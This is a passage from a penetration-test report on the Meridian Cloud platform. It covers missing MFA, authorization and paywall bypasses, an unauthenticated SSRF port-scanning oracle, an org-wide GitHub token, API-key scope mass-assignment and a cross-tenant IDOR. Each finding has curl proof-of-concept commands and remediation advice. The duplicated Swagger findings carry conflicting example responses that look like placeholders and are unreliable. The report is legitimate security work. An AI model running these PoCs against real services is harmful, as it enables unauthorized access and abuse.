Chained with the unauthenticated account-creation finding: that finding lets any anonymous internet user create a confirmed, login-capable account with no authentication. With no MFA, the path from 'anonymous' to 'authenticated access to the multi-tenant application holding sensitive regulated data' has zero MFA friction — create an account (via that unauthenticated account-creation finding), log in single-factor, and you are inside. For \*existing customer\* accounts, the same single-factor design means a harvested, reused, or stuffed password yields full account takeover with nothing to stop it. This is further compounded by a related rate-limiting weakness (no application-layer rate limiting on /auth/login), which leaves credential stuffing and password brute-force unthrottled at the app edge. Net effect: the entire authentication story for a system holding regulated customer records reduces to 'one password,' obtainable by registration (the unauthenticated account-creation finding) or unthrottled guessing (a related rate-limiting weakness).

Regulatory exposure (potential compliance impact — not a legal determination): A data-processing agreement is in place, so applicable data-protection regulations apply. MFA is not (yet) named as a strict requirement — the relevant regime is risk-based — but the applicable REQUIRED standards cover person/entity authentication, access control, and risk analysis. The absence of MFA, taken together with those account-creation and rate-limiting findings, is a credible failure to implement adequate authentication/access-control safeguards. Critically, the regulator's proposed rule update (published late 2024 / early 2025) would make MFA EXPLICITLY MANDATORY for access to sensitive regulated data; if finalized, lack of MFA becomes a direct violation rather than a weak-practice finding. Regulator breach settlements already routinely cite missing MFA as a contributing factor. This mapping is provided for the client's compliance/legal team; a definitive determination is theirs (and the regulator's) to make.

## Proof of Concept

```
1 curl -s -X POST https://api.meridiancloud.io/auth/login \
2   -H 'Content-Type: application/json' \
3   -d '{"username":"<user>","password":"<password>"}'
4 # -> 200 {"message":"Login successful","access_token":"eyJ...", "refresh_token":"eyJ...",
5   "id_token":"eyJ..."}
6 # No ChallengeName / no MFA step — tokens issued on password alone. Confirmed across US/
7   AU/CA pools.
```

## Recommendation

Enforce MFA for all accounts that can access sensitive regulated data. Enable MFA at the managed identity provider (prefer TOTP / WebAuthn over SMS), require enrollment, and configure /auth/login to issue session tokens only after the second factor is satisfied. Prioritize privileged and administrative accounts. Treat this as part of the authentication cluster — remediate alongside the unauthenticated account-creation finding and a related login rate-limiting weakness, since they compound. Track the regulator's proposed rule update: MFA is likely to become an explicit regulatory requirement, so implementing it now is both a security and a forward-looking compliance measure.

## Related Findings

[MC-1](#) • Chains with

**Unauthenticated Account Creation and Takeover via /auth/admin\_create\_user**

missing MFA + unauthenticated account creation enables account takeover

## MC-2

### Broken Function-Level Authorization on Operator and Curation Endpoints

**Severity level:** High

**Status:** Submitted

**Category:** Broken Function Level Authorization

**CWE:** CWE-862

**CVSS Score:** 7.1

**Affected URL:** <https://api.meridiancloud.io/verification/feedback/promote>

**Affected Component:** Verification rules / Templates / Samples curation APIs

**Severity Justification:** Rated High to match the vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N = 7.1). The I:H reflects that the reachable operator functions write to shared verification rules / report-generation templates that affect all tenants' reports (integrity-critical relevant). The destructive write was deliberately NOT executed in testing to avoid mutating production data, so this impact is assessed from the confirmed missing function-level authorization plus endpoint semantics rather than a demonstrated mutation.

## Description

Operator and administrative curation endpoints can be reached by any low-privileged ('pilot'/'trial') authenticated user — there is no function-level authorization beyond 'is logged in'. Using FastAPI's 422 (request reached the handler past auth) vs 401/403 (blocked) as a safe oracle, a brand-new trial account reaches the following handlers:

- POST /verification/feedback/promote → 422 (creates global verification rules that influence report generation)
- POST /verification/rules/{rule\_id}/retire → 422 — and rule\_id is an integer (enumerable, unlike the UUIDs used elsewhere)

- POST /templates/add\_customization and POST /templates/bulk\_update\_customizations → 422
- POST /samples/promote\_to\_template → 422
- GET /verification/rules, GET /verification/feedback/pending → 200 (readable)

By contrast POST /backfill\_embeddings and POST /embed\_documents correctly return 401, showing the absence of a guard on the above is an inconsistency, not a platform-wide convention.

## Impact

These functions govern shared/global state: verification rules and section customizations are applied during AI report generation. A low-privileged user reaching them can potentially poison report-generation prompts/rules for other tenants (integrity of production output — integrity-critical relevant) and retire active verification rules via an enumerable integer id. Full write-exploitation was deliberately NOT executed to avoid mutating shared production state used by real production users; reachability is confirmed.

## Proof of Concept

```

1 TOK=<token for a brand-new trial account>
2 # Reaches the create-rule handler (422 = past auth, only schema validation remains):
3 curl -s -o /dev/null -w '%{http_code}\n' -X POST https://api.meridiancloud.io/
  verification/feedback/promote \
4   -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' -d '{}'
5 # -> 422 (a logged-in trial user is NOT rejected by authorization)
6 # rule_id is an integer -> enumerable:
7 curl -s -o /dev/null -w '%{http_code}\n' -X POST https://api.meridiancloud.io/
  verification/rules/1/retire \
8   -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' -d '{}'

```

## Recommendation

Add explicit role/permission checks (admin/operator) to all curation endpoints: verification/feedback/promote, verification/rules/{id}/retire, templates/add\_customization, templates/bulk\_update\_customizations, samples/promote\_to\_template. Scope writes to the caller's own tenant where applicable, and replace the integer rule\_id with a non-enumerable UUID. Verify with a least-privilege account that each returns 403.

## Related Findings

[MC-1](#) • Related

### Unauthenticated Account Creation and Takeover via /auth/admin\_create\_user

both weaken the authentication/authorization posture

## Subscription Paywall Enforced Only in the Client — Trial Accounts Access Paid Features and Bypass Case Quota

**Severity level:** High

**Status:** Fixed

**Category:** Business Logic

**CWE:** CWE-285

**CVSS Score:** 5.4

**Affected URL:**

- [https://api.meridiancloud.io/templates/add\\_customization](https://api.meridiancloud.io/templates/add_customization)
- [https://api.meridiancloud.io/generate\\_review\\_of\\_records](https://api.meridiancloud.io/generate_review_of_records)
- [https://api.meridiancloud.io/upload\\_and\\_index](https://api.meridiancloud.io/upload_and_index)

**Affected Component:** Payment / Billing

**Severity Justification:** Elevated to High on business-impact grounds. The subscription paywall is the product's core monetization, and the bypass is trivially scalable — chained with the unauthenticated account-creation finding, an attacker self-provisions unlimited accounts and uses every paid feature (Customizable Templates, Review of Records, unbounded case processing) at no cost. The technical CVSS base remains 5.4 (no confidentiality/integrity/availability impact on data); the High rating reflects the environmental/business risk, not added C/I/A.

---

### Description

The product's subscription paywall (the "Upgrade to Unlock Full Access" modal gating Customizable Templates, Review of Records, Report Dictations, and Unlimited Cases) is enforced solely in the client-side frontend. The underlying API endpoints perform no server-side subscription-tier / entitlement / quota check, so a non-paying trial account can invoke the paid features directly and bypass the case quota. (Note: the `feature_flags` endpoint reflects global platform feature availability, not per-account entitlement, so entitlement is never actually verified on these routes.)

### Impact

A trial/free account (tier: trial, `free_cases_remaining`: 0) obtains the full paid feature set at no cost, and the per-account case quota is not enforced — direct revenue loss / subscription circumvention. Chained with the unauthenticated account-creation finding, any anonymous user can self-provision unlimited accounts and use all paid functionality indefinitely without payment.

Enforcement coverage (complete matrix). Every advertised paid action was invoked directly as a trial account (0 free cases). Server-side enforcement is applied to only a narrow slice of the surface:

ENFORCED (cannot be bypassed):

- Textextract/batch document ingestion: `upload_and_index_textextract`, `upload_and_index_batch`, `initialize_batch_upload` (all return 400 "Please upgrade to a paid plan").
- Record Index: `record_index/start`, `record_index/export` (403 "Record Index feature not enabled").

NOT ENFORCED (bypassable by a trial account):

- Case creation (free path): `upload_and_index`, `upload_and_summarize_improved`, `initialize_context_upload`.

- Review of Records: generate\_review\_of\_records, start\_record\_extraction, edit\_review\_of\_records.
- Report generation: start\_report\_generation, generate\_report, start\_agentic\_report\_generation, start\_smart\_regeneration, generate\_briefing, edit\_report.
- Report Dictations / ambient: ambient/start\_document\_dictation, ambient/start\_transcription, ambient/complete\_document\_dictation.
- Customizable Templates: templates/add\_customization, templates/bulk\_update\_customizations, samples/upload, samples/promote\_to\_template.
- AI Copilot: chat\_with\_copilot, chat\_with\_pdf.
- Report export: document/{id}/export-pdf, document/{id}/export-docx.
- Custom letterhead: user\_assets/upload\_asset.
- Voice phone numbers: /api/voice-webhook.
- Intake calls: intake-calls/schedule — the subscription/entitlement check is absent (request reaches functional validation, never a paywall block); the only barriers are functional (an intake-capable template and a valid phone number). Not fully exercised because placing an actual call is a real-world side effect (the voice-agent provider toll/abuse).

Net: the paywall is enforced only at the Textract/batch ingestion layer and on Record Index. All other paid functionality (every AI feature, report editing/export, copilot, dictation, transcription, custom templates, and letterhead) performs no server-side entitlement check and is fully usable by a non-paying account. The only practical friction is that the richest extraction pipeline depends on the paid ingestion path, so a fully Textract-extracted case still requires it.

## Proof of Concept

```

1  # Account state: tier=trial, subscription_status=trial, free_cases_remaining=0
2
3  # Customizable Templates (paid) — succeeds AND persists:
4  curl -X POST https://api.meridiancloud.io/templates/add_customization -H
    "Authorization: Bearer $TRIAL" \
5  -d '{"section_template_id":"<id>","customization":"MARKER_8842"}'
6  # -> 200 {"message":"Customization added successfully"} (re-read confirms it saved)
7
8  # Review of Records (paid) — runs:
9  curl -X POST https://api.meridiancloud.io/generate_review_of_records -H
    "Authorization: Bearer $TRIAL" \
10 -d '{"document_id":"<doc>","regenerate":false}'
11 # -> 200, streams analysis, starts extraction job
12
13 # Unlimited Cases — quota bypass with free_cases_remaining=0:
14 curl -X POST https://api.meridiancloud.io/upload_and_index -H
    "Authorization: Bearer $TRIAL" -F file=@case.pdf ...
15 # -> 200 {"message":"Document uploaded and indexed successfully"}

```

Stronger PoC — a trial account creates an entire custom template end-to-end:

```

1  # tier=trial, free_cases_remaining=0
2  # 1) upload a .docx sample under a new template name
3  POST /samples/upload (file=letter.docx, provider_template_name="OpenHack template")
    -> 200
4  # 2) promote it
5  POST /samples/promote_to_template {"filename":"OpenHack template/letter.docx",

```

```
"provider_template_name":"OpenHack template"} -> 200 (job, preview_ready)
6 # 3) approve (per-account)
7 POST /samples/approve_promotion/<job> {"promote_to_canonical":false,
  "confirm_no_sensitive_data":true,"display_name":"OpenHack template"} -> 200
8 # Result: GET /templates/get_user_templates now lists "OpenHack template" (id 478e591f-
  ..) for the trial account.
```

So the bypass is not limited to per-section customizations — a non-paying account builds whole templates. (Note: approve\_promotion exposes a promote\_to\_canonical flag whose authorization for low-priv users is the open question tracked under the broken function-level authorization finding; not exercised here to avoid mutating the shared template set.)

## Recommendation

Enforce subscription/entitlement and quota checks SERVER-SIDE on every paid endpoint (templates/add\_customization, templates/bulk\_update\_customizations, generate\_review\_of\_records, start\_record\_extraction, ambient/\* dictation/transcription, and case creation via upload\_and\_index\* / initialize\_batch\_upload). Return 402/403 for accounts whose tier/subscription does not include the feature, and decrement/enforce free\_cases\_remaining atomically on case creation. Never rely on the client to gate paid functionality; the UI paywall is a UX affordance, not a control.

## Related Findings

**MC-1** • Chains with

**Unauthenticated Account Creation and Takeover via /auth/admin\_create\_user**

unlimited self-serve accounts + trial bypass = unbounded free use of paid features

## MC-6

### Unauthenticated SSRF and internal port-scanner via /api/validate-url (Graph Browser console)

**Severity level:** High

**Status:** Submitted

**Category:** SSRF

**CWE:** CWE-918

**CVSS Score:** 8.3

**Affected URL:** <https://graph.dashboard.meridiancloud.io/api/validate-url>

**Affected Parameter:** url

**Affected Component:** API / REST Endpoint

**Severity Justification:** Unauthenticated attacker gains server-side connectivity into the internal VPC (port scan + Redis/the graph database fingerprinting) from the public internet. High (CVSS 8.2).

## Description

The Graph Browser console (Next.js) runs at `graph.dashboard.meridiancloud.io`. Its `POST /api/validate-url` route performs no authentication and passes the client-supplied url straight into the graph database's `connect({ url })` call. Confirmed against upstream source (`app/api/validate-url/route.ts` + `validate-body.ts`): the validator is `z.string().min(1)` only — no scheme or host restriction. On a NOAUTH reply it returns `{result:true}`, otherwise `{result:false}`, and it makes the outbound TCP connection either way.

## Impact

Any remote, unauthenticated attacker can drive Meridian Cloud's server to open Redis-protocol TCP connections to arbitrary internal hosts/ports: internal VPC port scanning (open/closed/filtered by timing), service fingerprinting of internal Redis/the graph database (NOAUTH oracle), and a blind SSRF pivot from outside. This host is on internal AWS infra behind nginx, so internal reachability is realistic. (PoC used only blackhole/localhost targets — no real internal or `*.meridiancloud.io` host was probed.)

## Proof of Concept

```
1 FB=https://graph.dashboard.meridiancloud.io/api/validate-url
2 # unauth confirmed: empty body -> 400 (validation), NOT 401
3 curl -s -o /dev/null -w '%{http_code}\n' -X POST -H 'Content-Type: application/json' -d
  '{}' "$FB" # 400
4
5 # timing oracle proves the server dials attacker-chosen host:port (benign targets only):
6 # redis://192.0.2.1:6379 (RFC-5737 blackhole) -> 5293 ms {"result":false} <- full TC
  P timeout
7 # redis://127.0.0.1:1 (closed) -> 306 ms {"result":false} <- immedia
  te refuse
8 # redis://127.0.0.1:22 (open, non-redis) -> 287 ms {"result":false}
9 # The ~5.3s vs ~0.3s split deterministically proves the outbound connection. A NOAUTH re
  ply
10 # additionally returns {"result":true}, fingerprinting a password-protected internal Red
  is/the graph database.
```

## Recommendation

Require an authenticated session on `/api/validate-url`; restrict url to an allowlist of expected the graph database endpoints; after DNS resolution reject private/loopback/link-local/metadata ranges; cap the connect timeout to blunt the timing oracle and resource use.

## Related Findings

**MC-5** • Related

**Public container registry leaks private source code and live third-party API keys (unauthenticated)**

both are unauthenticated exposure of internal infrastructure

## Over-privileged SCM credential issuance: one sandbox session token grants org-wide GitHub access (all 40+ private repos)

**Severity level:** High

**Status:** Submitted

**Category:** Authorization

**CWE:** CWE-266

**CVSS Score:** 7.7

**Affected URL:** <https://sandbox-cp.meridiancloud.io/sessions/{sessionId}/scm-credentials>

**Affected Component:** Authentication System

**Severity Justification:** Least-privilege violation independent of how a sandbox token is obtained. A single sandbox's token yields a GitHub credential scoped to the ENTIRE org, so ANY sandbox-token compromise (logs, a compromised sandbox, SSRF, or the public container-registry leak finding) exposes all 40+ private repositories rather than the one the sandbox needs. High; it is the amplifier that turns any token leak into whole-org source compromise.

### Description

POST [sandbox-cp.meridiancloud.io/sessions/{sessionId}/scm-credentials](https://sandbox-cp.meridiancloud.io/sessions/{sessionId}/scm-credentials) hands back a GitHub App installation token scoped to the entire meridian-cloud org (40+ private repositories), regardless of which single repo the requesting sandbox session is actually working on. Confirmed empirically: a token from a background-agents sandbox returned read access to unrelated repos incl. infra-scripts, gitops-infra, python-sdk, ts-sdk, evals, etc. The credential is not scoped per-session to the repo that session needs.

Documented by Meridian Cloud's own source (`sandbox_runtime/credentials/git_credential_helper.py`, verbatim): "We deliberately do not scope to the session repo: the existing system uses installation-wide credentials, and setup/start hooks may clone sibling private repositories that the installation can access." => the org-wide scope is an intentional design choice, empirically confirmed (a background-agents sandbox token read 40+ private repositories).

### Impact

Turns any single sandbox-token compromise into full-org private-source exposure (40+ private repositories). Massively amplifies the blast radius of the GitHub-credential-minting finding and of any other future sandbox-token leak. Violates least privilege.

### Proof of Concept

Mint a credential from any single sandbox's token (see the GitHub-credential-minting finding), then:

```
1 curl -s -H "Authorization: token ghs_<...>" https://api.github.com/installation/
  repositories | jq '.total_count, [.repositories[].full_name]'
2 # -> 40+ private repositories across the whole meridian-cloud org, though the token came
  from ONE sandbox working on ONE repo
```

## Recommendation

Issue repository-scoped GitHub App installation tokens: when creating the installation token for a session, pass the repositories (or repository\_ids) restriction so the token can only access the repo(s) that session is working on. Prefer read-only where the session doesn't push. This caps the damage of any token leak to a single repo.

## Related Findings

**MC-5** • Chains with

**Public container registry leaks private source code and live third-party API keys (unauthenticated)**

org-wide SCM access builds directly on the registry leak and credential minting

**MC-8** • Chains with

**Public container-registry snapshot -> live GitHub credential with read access to ALL private repos (sandbox control-plane chain)**

org-wide SCM access builds directly on the registry leak and credential minting

---

**MC-11**

## API-key scope mass-assignment — a free user self-mints arbitrary scopes on production keys

**Severity level:** Medium

**Status:** Submitted

**Category:** Mass Assignment

**CWE:** CWE-915

**CVSS Score:** 5.4

**Affected URL:** <https://dashboard.meridiancloud.io/api/keys>

**Affected Component:** Authorization System

**Severity Justification:** Medium (5.4). Two-part impact: (a) TODAY there is no direct privilege gain — scopes are unenforced on the data plane, so an admin/ key behaves identically to a scopes:[] key. But (b) this is a LATENT privilege-escalation surface with high blast radius: the dashboard app clearly intends full\_access as the canonical scope and the backend stores whatever the client sends. The moment ANY endpoint (existing or new) starts consulting scopes — as any auth-hardening or SDK-migration PR is likely to introduce — self-minted admin/ keys silently grant full authority. Also: audit-trail integrity today (keys visibly labelled admin/\* in the dashboard are cosmetic lies), and if a support/observability tool queries keys where scopes contains 'admin', it will see fabricated admin keys.

---

## Description

POST /api/keys on dashboard.meridiancloud.io accepts and persists an arbitrary scopes array with no server-side validation. A brand-new free-tier user can self-mint a sk\_live\_... key with scopes: ["admin","\*","tenants:delete"] (or anything else) and the value is persisted verbatim in the API key record (visible via GET /api/keys and returned in the API key list).

Source review (the dashboard app):

- src/app/api/keys/route.ts: pure passthrough proxy — proxyToBackend(req, {upstreamPath: '/dashboard/resources/create\_api\_key', method:'POST'}). No validation before forwarding.
- src/components/pages/GetStartedPage.tsx:232 and ApiKeysPage.tsx: dashboard's OWN flows mint keys with scopes:['full\_access'] — so full\_access is the intended canonical scope, but the backend accepts anything.
- src/types/api.ts: ApiKeyCreateResponse.scopes: string[] is echoed back unfiltered.

Backend review (application Go source):

- Zero RequireScope/CheckScope/HasScope/scopeGuard/scope-middleware definitions. The only "scope" strings in the Go code are unrelated OAuth-provider scopes for third-party connectors (GitHub, GCal, Notion — X-OAuth-Scopes).
- No handler consults the api key's scope array on request.

OpenAPI review (api-v2.staging.meridiancloud.io):

- 0 of 53 endpoints declare any scope requirement. The lone security scheme is HTTPBearer (just "authenticated"); there is no OAuth flow or scopes list on any operation.

Empirical check on prod (2026-07-13): A key with scopes:[] and a key with scopes:

["admin","\*","tenants:delete"] return IDENTICAL responses across every endpoint category (list/tenant stats/create-tenant/add-memory/register-webhook) — the scopes field is decorative today.

## Impact

Today: none direct (scopes not enforced). Audit trail/integrity is compromised (persisted key scopes are attacker-controlled).

Latent — becomes immediate priv-esc the moment any handler is scope-aware: self-minted admin/\* keys would then grant full authority. Historical parallel: many key-scope models start as best-effort labels and get enforced later; this is a time bomb.

Concrete scenarios in the source itself:

- Any future middleware that gates /tenants/delete, /memories/delete\_memory, /knowledge/delete\_knowledge on scopes -> self-minted tenants:delete/\*admin keys pass.
- Team/role features that enforce read/write/full\_access on shared workspace keys — self-minting full\_access keys bypass the read-only role.
- SDKs / third-party integrations that only accept full\_access scope semantically will not reject an attacker-minted admin scope, muddying least-privilege UX.

No cross-tenant escalation today — tenant isolation binds to the key's org (verified). This is a design/integrity issue with latent escalation, not immediate takeover.

## Proof of Concept

```
1 curl -X POST https://dashboard.meridiancloud.io/api/keys -b <session> -H
   'Content-Type: application/json' \
2   -d '{"name":"x","scopes":["admin","*","tenants:delete"]}'
3 # -> 200, key stored with scopes:["admin","*","tenants:delete"]
```

## Recommendation

1. Validate scopes server-side before persisting: reject any scope not in a defined allowlist for the caller's tier/role. Free-tier users should only be able to mint full\_access (or a defined read subset); privileged scopes (admin/\*/tenants:delete) must be gated on the caller's actual role.
2. If the plan is to enforce scopes later, do it BEFORE users start self-minting admin/\* labels — otherwise you'll ship the vulnerability at flip-of-a-flag.
3. Constrain the scope vocabulary to a documented set (full\_access, read, write, plus per-resource scopes if desired); reject unknown scopes so squatting on future names (billing:admin, keys:create) doesn't work.
4. Consider revoking or migrating any existing keys with non-canonical scopes to avoid audit-trail corruption.
5. Audit for downstream systems (BI, support tooling, internal dashboards) that read the scopes field and take action on it.

---

## MC-12

### Cross-tenant IDOR on /ingestion/verify\_processing exposing document status and existence

**Severity level:** Medium

**Status:** Submitted

**Category:** IDOR

**CWE:** CWE-639

**CVSS Score:** 4.3

**Affected URL:** [https://api.meridiancloud.io/ingestion/verify\\_processing](https://api.meridiancloud.io/ingestion/verify_processing)

**Affected Parameter:**

- file\_id
- file\_ids

**Affected Component:** API / REST Endpoint

**Severity Justification:** Genuine cross-tenant isolation break, but bounded to processing-status + existence (no content). Requires knowing a doc ID (not brute-forceable). Medium.

---

## Description

POST /ingestion/verify\_processing?file\_id=<ID>&tenant\_id=<own> looks up the document by ID globally, ignoring the caller's tenant. Any authenticated user can read the indexing status (and confirm existence) of ANY document across tenants. This is the one data-plane endpoint that fails to scope by the API key's org — /context/status and the rest correctly return FILE\_NOT\_FOUND for other tenants.

## Impact

Cross-tenant disclosure of document existence + processing state. An attacker who learns/guesses/leaks doc IDs (e.g., from the internal admin-dashboard dump or logs) can probe other tenants' documents. Bounded to status metadata; no content leak.

## Proof of Concept

```
1 # A key reading B's document status (and vice-versa):
2 curl -X POST
   'https://api.meridiancloud.io/ingestion/verify_processing?file_id=<B_DOC_ID>&tenant_id=
   default-tenant' -H 'Authorization: Bearer <A_KEY>'
3 # -> {"statuses":[{"source_id":"<B_DOC_ID>", "indexing_status":"graph_creation", "success"
   :true}]}
4 # fake id -> {"indexing_status":"errored", "error_code":"FILE_NOT_FOUND", "success":false}
   (proves real lookup)
```

## Recommendation

Scope the file\_id/source\_id lookup to the caller's org/tenant (derive namespace from the API key, consistent with /context/status and the other endpoints). Return FILE\_NOT\_FOUND for IDs outside the caller's tenant.

### MC-14

## Exposed Swagger API Specification on api.meridiancloud.io

**Severity level:** Medium

**Status:** Draft

**Category:** Info Disclosure

**CWE:** CWE-200

**CVSS Score:** 5.3

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

**Affected URL:** <https://api.meridiancloud.io/swagger.json>

**Affected Parameter:** /swagger.json

**Affected Component:** API / REST Endpoint

**Severity Justification:** CVSS score of 5.3 falls in the Medium band, which aligns with the chosen severity. While the exposed Swagger file does not directly compromise the system, it provides attackers with a detailed map of the API attack surface, significantly reducing reconnaissance effort and increasing the likelihood of discovering exploitable vulnerabilities. Medium severity is appropriate as the impact is limited to information disclosure with no direct integrity or availability impact.

## Description

The Swagger/OpenAPI specification file (swagger.json) is publicly accessible on api.meridiancloud.io without requiring authentication. This file exposes the full API surface, including all available endpoints, HTTP methods, expected parameters, request/response schemas, and in some cases example payloads. By navigating to <https://api.meridiancloud.io/swagger.json>, any unauthenticated user can download or browse the complete API documentation.

This issue arises because the Swagger specification endpoint is not restricted to authenticated users or internal/development environments. In a production deployment, API documentation should not be exposed to the public internet.

## Impact

An attacker can use the exposed Swagger specification to gain a comprehensive understanding of the API's attack surface. This includes:

- Endpoint discovery: All API routes, including internal or undocumented endpoints, are revealed.
- Parameter enumeration: Attackers learn required and optional parameters, data types, and validation rules, enabling targeted fuzzing and injection attempts.
- Business logic insight: The API structure may reveal internal workflows, data models, and relationships between resources.
- Accelerated exploitation: The specification reduces reconnaissance time and allows attackers to quickly identify potentially vulnerable endpoints (e.g., administrative functions, deprecated APIs).
- Information disclosure: Schema definitions may expose internal field names, data structures, and error handling patterns that could aid further attacks.

Overall, this significantly lowers the barrier to entry for attackers targeting the Meridian Cloud API.

## Proof of Concept

1. Open a browser or use curl to request the Swagger specification without any authentication headers:

```
1 curl -s https://api.meridiancloud.io/swagger.json | jq '.paths | keys'
```

2. Observe that the full API specification is returned, including all endpoint paths, methods, parameters, and response schemas.

Expected behavior: The endpoint should return a 401 Unauthorized or 403 Forbidden response for unauthenticated users.

Actual behavior: The full Swagger JSON is returned with HTTP 200 OK, exposing the entire API surface.

Example response snippet:

```
1 {
2   "swagger": "2.0",
3   "info": {
4     "title": "Meridian Cloud API",
5     "version": "1.0"
6   },
7   "paths": {
8     "/v1/users": { ... },
9     "/v1/orgs/{orgId}/billing": { ... },
10    "/v1/admin/settings": { ... },
11    ...
12  }
13 }
```

## Recommendation

Restrict access to the Swagger specification to authenticated and authorized users only. Recommended approaches:

1. Disable in production: Disable the Swagger endpoint entirely in production environments. Serve API

documentation only in staging or internal environments.

```
1 # nginx example - block swagger in production
2 location ~* /(swagger|api-docs) {
3     deny all;
4     return 404;
5 }
```

2. Authentication/authorization: If the documentation must remain accessible, require authentication and restrict it to authorized roles (e.g., administrators or developers) via an access control check.

3. Environment-based configuration: Use environment variables or feature flags to conditionally enable the Swagger UI and JSON endpoint only in non-production environments:

```
1 if os.environ.get("ENV") != "production":
2     app.config["SWAGGER_UI"] = True
```

4. Remove sensitive details: Ensure the specification does not contain sensitive information such as internal hostnames, default credentials, or example tokens.

References:

- OWASP API Security Top 10 — API9:2023 Improper Inventory Management
- OWASP WSTG: Testing for API Documentation (WSTG-INFO-07)

## MC-13

### Exposed Swagger/OpenAPI Specification on api.meridiancloud.io

**Severity level:** Low

**Status:** Draft

**Category:** Info Disclosure

**CWE:** CWE-200

**CVSS Score:** 5.3

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

**Affected URL:** <https://api.meridiancloud.io/swagger.json>

**Affected Parameter:** /swagger.json

**Affected Component:** API / REST Endpoint

**Severity Justification:** The CVSS base score of 5.3 falls in the Medium band, but this finding is rated Low because the exposure is limited to API documentation (endpoint structure and schemas) rather than actual sensitive user or business data. No confidential information, credentials, or records are disclosed directly. The real-world impact is limited to reducing an attacker's reconnaissance effort, which is valuable but not directly damaging on its own.

## Description

The /swagger.json endpoint on api.meridiancloud.io is publicly accessible without authentication. This file contains the full OpenAPI/Swagger specification for the REST API, including a complete list of endpoints, HTTP methods, expected request parameters, response schemas, and data models. Exposing this documentation in a production environment provides an attacker with a detailed map of the API surface, significantly lowering the effort required to identify and probe potentially vulnerable endpoints.

## Impact

An unauthenticated attacker can retrieve the full API specification, gaining insight into all available endpoints, supported parameters, expected data types, and response structures. This information can be used to accelerate further attacks such as enumeration of endpoints, identification of broken access controls, parameter tampering, and discovery of hidden or deprecated functionality. While the disclosure itself does not grant direct access to data, it materially reduces the reconnaissance effort and increases the likelihood of successful exploitation of other vulnerabilities.

## Proof of Concept

1. Send an unauthenticated GET request to the Swagger specification endpoint:

```
1 GET /swagger.json HTTP/1.1
2 Host: api.meridiancloud.io
3 User-Agent: Pentest-Scanner
4 Accept: application/json
5 Connection: close
```

2. Observe that the server responds with 200 OK and returns the full OpenAPI JSON document:

```
1 {
2   "openapi": "3.0.1",
3   "info": {
4     "title": "Meridian Cloud API",
5     "version": "1.0"
6   },
7   "paths": {
8     "/v1/users": { "get": { ... } },
9     "/v1/users/{id}": { "get": { ... } },
10    "/v1/orgs/{id}/billing": { "get": { ... } },
11    "/v1/admin/config": { "get": { ... } },
12    ...
13  },
14  "components": {
15    "schemas": { ... }
16  }
17 }
```

3. The response includes all API routes, parameter definitions, and schema models without requiring any authentication or authorization.

## Recommendation

- Remove or restrict access to the Swagger/OpenAPI specification in production environments. The /swagger.json endpoint should not be accessible to unauthenticated users.
- Require authentication for access to API documentation endpoints, or restrict access to internal/trusted networks only (e.g., via IP allowlisting or VPN).
- Disable Swagger UI and spec endpoints in production builds via configuration. For example, if using ASP.NET Core, set SwaggerEndpoint only in Development; if using Spring Boot, disable it via springdoc.api-docs.enabled=false in production profiles.
- If API documentation must remain public, ensure it is a sanitized version that excludes internal/administrative endpoints and does not reveal sensitive parameter details beyond what is necessary for legitimate API consumers.

---

## MC-15

### Unauthenticated OpenAPI Specification Disclosure at /openapi.json

**Severity level:** Low

**Status:** Draft

**Category:** Info Disclosure

**CWE:** CWE-200

**CVSS Score:** 5.3

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

**Affected URL:** <https://api.meridiancloud.io/openapi.json>

**Affected Parameter:** N/A (static file path)

**Affected Component:** API / REST Endpoint

**Severity Justification:** The CVSS base score (5.3) falls in the Medium band, but the finding is rated Low because the exposed specification contains only API structure (paths, parameters, schemas) — not sensitive data, secrets, or PII. Real-world impact is limited to assisting reconnaissance of authenticated functionality, and exploitation requires a subsequent vulnerability. Severity should be raised to Medium if the spec is found to expose internal-only or administrative endpoints, or credentials/sample tokens.

---

## Description

The OpenAPI specification for the Meridian Cloud public REST API is accessible without authentication at <https://api.meridiancloud.io/openapi.json>. The document enumerates the complete API surface, including endpoint paths, supported HTTP methods, parameter names and types, request/response schemas, and developer-written descriptions and examples. Production systems should not advertise their attack surface to unauthenticated users. This aligns with OWASP API Security Top 10 – API9:2023 (Improper Inventory Management) and provides attackers with an accurate, machine-readable map of the API to guide subsequent attacks (e.g., IDOR, broken object-level authorization, injection, mass assignment) against endpoints that would otherwise require discovery via brute force or traffic analysis.

## Impact

Exposure of the OpenAPI specification does not directly grant access to data or functionality, but it materially reduces attacker effort:

- Full endpoint enumeration – undocumented, legacy, or administrative endpoints are revealed without brute-forcing paths.
- Precise request crafting – knowledge of parameter names, types, and schemas increases the success rate of injection, mass-assignment, and access-control attacks.
- Internal detail leakage – descriptions, examples, contact, and version metadata may disclose internal naming conventions, upstream services, or staging details.

This finding acts as a force multiplier for other vulnerabilities and should be treated as attack-surface reduction work.

## Proof of Concept

Steps to reproduce:

1. Send an unauthenticated GET request to the specification path:

```
1 $ curl -i https://api.meridiancloud.io/openapi.json
```

2. Observe the server returns 200 OK with the complete OpenAPI document:

```
1 {
2   "openapi": "3.0.1",
3   "info": { "title": "Meridian Cloud API", "version": "x.y.z" },
4   "paths": {
5     "/v1/...": { ... }
6   }
7 }
```

3. Enumerate the full API surface from the document:

```
1 $ curl -s https://api.meridiancloud.io/openapi.json | jq '.paths | keys'
```

4. Check whether interactive documentation is also exposed at common paths (/docs, /swagger, /swagger-ui/index.html, /redoc).

Expected behavior: The specification should require authentication, be restricted to internal users, or return 403/404 in production.

Actual behavior: The full API specification is returned to any unauthenticated client.

## Recommendation

1. Restrict access to /openapi.json (and any Swagger UI / Redoc / /docs pages) in production — return 403 or 404 to unauthenticated requests, or gate the documentation behind SSO/VPN.
2. Host documentation separately if it must remain public: serve a sanitized, marketing-approved spec from a static domain rather than the live API host.
3. Scrub the spec of sensitive metadata (internal hostnames, employee emails, real-data examples, staging URLs) before any controlled publication.

4. Verify CDN/caching behavior — ensure edge caches are purged and the spec is not served from cache after the origin restriction is applied.
5. Maintain API inventory per OWASP API9:2023 — remove deprecated endpoints from the spec and keep documentation in sync with production to avoid stale attack-surface advertising.

---

## MC-16

